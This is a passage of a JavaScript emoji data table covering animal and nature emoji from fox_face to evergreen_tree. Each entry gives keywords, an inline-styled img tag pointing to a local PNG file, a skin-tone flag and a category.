    category: "animals_and_nature"
  },
  fox_face: {
    keywords: [ "animal", "nature", "face" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8a" src="1f98a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bear: {
    keywords: [ "animal", "nature", "wild" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3b" src="1f43b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  panda_face: {
    keywords: [ "animal", "nature", "panda" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3c" src="1f43c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  koala: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc28" src="1f428.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tiger: {
    keywords: [ "animal", "cat", "danger", "wild", "nature", "roar" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2f" src="1f42f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  lion: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd81" src="1f981.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cow: {
    keywords: [ "beef", "ox", "animal", "nature", "moo", "milk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2e" src="1f42e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  pig: {
    keywords: [ "animal", "oink", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc37" src="1f437.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  pig_nose: {
    keywords: [ "animal", "oink" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3d" src="1f43d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  frog: {
    keywords: [ "animal", "nature", "croak", "toad" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc38" src="1f438.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  squid: {
    keywords: [ "animal", "nature", "ocean", "sea" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd91" src="1f991.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  octopus: {
    keywords: [ "animal", "creature", "ocean", "sea", "nature", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc19" src="1f419.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shrimp: {
    keywords: [ "animal", "ocean", "nature", "seafood" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd90" src="1f990.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  monkey_face: {
    keywords: [ "animal", "nature", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc35" src="1f435.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  gorilla: {
    keywords: [ "animal", "nature", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8d" src="1f98d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  see_no_evil: {
    keywords: [ "monkey", "animal", "nature", "haha" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude48" src="1f648.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hear_no_evil: {
    keywords: [ "animal", "monkey", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude49" src="1f649.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  speak_no_evil: {
    keywords: [ "monkey", "animal", "nature", "omg" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4a" src="1f64a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  monkey: {
    keywords: [ "animal", "nature", "banana", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc12" src="1f412.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  chicken: {
    keywords: [ "animal", "cluck", "nature", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc14" src="1f414.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  penguin: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc27" src="1f427.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bird: {
    keywords: [ "animal", "nature", "fly", "tweet", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc26" src="1f426.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  baby_chick: {
    keywords: [ "animal", "chicken", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc24" src="1f424.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hatching_chick: {
    keywords: [ "animal", "chicken", "egg", "born", "baby", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc23" src="1f423.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hatched_chick: {
    keywords: [ "animal", "chicken", "baby", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc25" src="1f425.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  duck: {
    keywords: [ "animal", "nature", "bird", "mallard" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd86" src="1f986.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  eagle: {
    keywords: [ "animal", "nature", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd85" src="1f985.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  owl: {
    keywords: [ "animal", "nature", "bird", "hoot" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd89" src="1f989.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bat: {
    keywords: [ "animal", "nature", "blind", "vampire" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd87" src="1f987.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  wolf: {
    keywords: [ "animal", "nature", "wild" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3a" src="1f43a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  boar: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc17" src="1f417.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  horse: {
    keywords: [ "animal", "brown", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc34" src="1f434.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  unicorn: {
    keywords: [ "animal", "nature", "mystical" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd84" src="1f984.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  honeybee: {
    keywords: [ "animal", "insect", "nature", "bug", "spring", "honey" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1d" src="1f41d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bug: {
    keywords: [ "animal", "insect", "nature", "worm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1b" src="1f41b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  butterfly: {
    keywords: [ "animal", "insect", "nature", "caterpillar" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8b" src="1f98b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snail: {
    keywords: [ "slow", "animal", "shell" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0c" src="1f40c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  beetle: {
    keywords: [ "animal", "insect", "nature", "ladybug" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1e" src="1f41e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ant: {
    keywords: [ "animal", "insect", "nature", "bug" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1c" src="1f41c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  grasshopper: {
    keywords: [ "animal", "cricket", "chirp" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd97" src="1f997.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  spider: {
    keywords: [ "animal", "arachnid" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd77" src="1f577.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  scorpion: {
    keywords: [ "animal", "arachnid" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd82" src="1f982.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  crab: {
    keywords: [ "animal", "crustacean" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd80" src="1f980.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snake: {
    keywords: [ "animal", "evil", "nature", "hiss", "python" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0d" src="1f40d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  lizard: {
    keywords: [ "animal", "nature", "reptile" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8e" src="1f98e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  "t-rex": {
    keywords: [ "animal", "nature", "dinosaur", "tyrannosaurus", "extinct" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd96" src="1f996.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sauropod: {
    keywords: [ "animal", "nature", "dinosaur", "brachiosaurus", "brontosaurus", "diplodocus", "extinct" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd95" src="1f995.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  turtle: {
    keywords: [ "animal", "slow", "nature", "tortoise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc22" src="1f422.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tropical_fish: {
    keywords: [ "animal", "swim", "ocean", "beach", "nemo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc20" src="1f420.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fish: {
    keywords: [ "animal", "food", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1f" src="1f41f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  blowfish: {
    keywords: [ "animal", "nature", "food", "sea", "ocean" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc21" src="1f421.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dolphin: {
    keywords: [ "animal", "nature", "fish", "sea", "ocean", "flipper", "fins", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2c" src="1f42c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shark: {
    keywords: [ "animal", "nature", "fish", "sea", "ocean", "jaws", "fins", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd88" src="1f988.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  whale: {
    keywords: [ "animal", "nature", "sea", "ocean" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc33" src="1f433.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  whale2: {
    keywords: [ "animal", "nature", "sea", "ocean" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0b" src="1f40b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  crocodile: {
    keywords: [ "animal", "nature", "reptile", "lizard", "alligator" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0a" src="1f40a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  leopard: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc06" src="1f406.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  zebra: {
    keywords: [ "animal", "nature", "stripes", "safari" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd93" src="1f993.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tiger2: {
    keywords: [ "animal", "nature", "roar" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc05" src="1f405.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  water_buffalo: {
    keywords: [ "animal", "nature", "ox", "cow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc03" src="1f403.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ox: {
    keywords: [ "animal", "cow", "beef" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc02" src="1f402.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cow2: {
    keywords: [ "beef", "ox", "animal", "nature", "moo", "milk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc04" src="1f404.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  deer: {
    keywords: [ "animal", "nature", "horns", "venison" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8c" src="1f98c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dromedary_camel: {
    keywords: [ "animal", "hot", "desert", "hump" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2a" src="1f42a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  camel: {
    keywords: [ "animal", "nature", "hot", "desert", "hump" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2b" src="1f42b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  giraffe: {
    keywords: [ "animal", "nature", "spots", "safari" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd92" src="1f992.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  elephant: {
    keywords: [ "animal", "nature", "nose", "th", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc18" src="1f418.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rhinoceros: {
    keywords: [ "animal", "nature", "horn" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8f" src="1f98f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  goat: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc10" src="1f410.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ram: {
    keywords: [ "animal", "sheep", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0f" src="1f40f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sheep: {
    keywords: [ "animal", "nature", "wool", "shipit" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc11" src="1f411.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  racehorse: {
    keywords: [ "animal", "gamble", "luck" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0e" src="1f40e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  pig2: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc16" src="1f416.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rat: {
    keywords: [ "animal", "mouse", "rodent" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc00" src="1f400.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mouse2: {
    keywords: [ "animal", "nature", "rodent" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc01" src="1f401.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rooster: {
    keywords: [ "animal", "nature", "chicken" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc13" src="1f413.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  turkey: {
    keywords: [ "animal", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd83" src="1f983.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dove: {
    keywords: [ "animal", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4a" src="1f54a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dog2: {
    keywords: [ "animal", "nature", "friend", "doge", "pet", "faithful" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc15" src="1f415.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  poodle: {
    keywords: [ "dog", "animal", "101", "nature", "pet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc29" src="1f429.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cat2: {
    keywords: [ "animal", "meow", "pet", "cats" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc08" src="1f408.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rabbit2: {
    keywords: [ "animal", "nature", "pet", "magic", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc07" src="1f407.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  chipmunk: {
    keywords: [ "animal", "nature", "rodent", "squirrel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3f" src="1f43f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hedgehog: {
    keywords: [ "animal", "nature", "spiny" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd94" src="1f994.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  raccoon: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9d" src="1f99d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  llama: {
    keywords: [ "animal", "nature", "alpaca" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd99" src="1f999.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hippopotamus: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9b" src="1f99b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  kangaroo: {
    keywords: [ "animal", "nature", "australia", "joey", "hop", "marsupial" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd98" src="1f998.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  badger: {
    keywords: [ "animal", "nature", "honey" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udda1" src="1f9a1.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  swan: {
    keywords: [ "animal", "nature", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udda2" src="1f9a2.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  peacock: {
    keywords: [ "animal", "nature", "peahen", "bird" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9a" src="1f99a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  parrot: {
    keywords: [ "animal", "nature", "bird", "pirate", "talk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9c" src="1f99c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  lobster: {
    keywords: [ "animal", "nature", "bisque", "claws", "seafood" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9e" src="1f99e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mosquito: {
    keywords: [ "animal", "nature", "insect", "malaria" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9f" src="1f99f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  paw_prints: {
    keywords: [ "animal", "tracking", "footprints", "dog", "cat", "pet", "feet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3e" src="1f43e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dragon: {
    keywords: [ "animal", "myth", "nature", "chinese", "green" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc09" src="1f409.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dragon_face: {
    keywords: [ "animal", "myth", "nature", "chinese", "green" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc32" src="1f432.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cactus: {
    keywords: [ "vegetable", "plant", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf35" src="1f335.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  christmas_tree: {
    keywords: [ "festival", "vacation", "december", "xmas", "celebration" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf84" src="1f384.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  evergreen_tree: {
    keywords: [ "plant", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf32" src="1f332.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  deciduous_tree: {
    keywords: [ "plant", "nature" ],
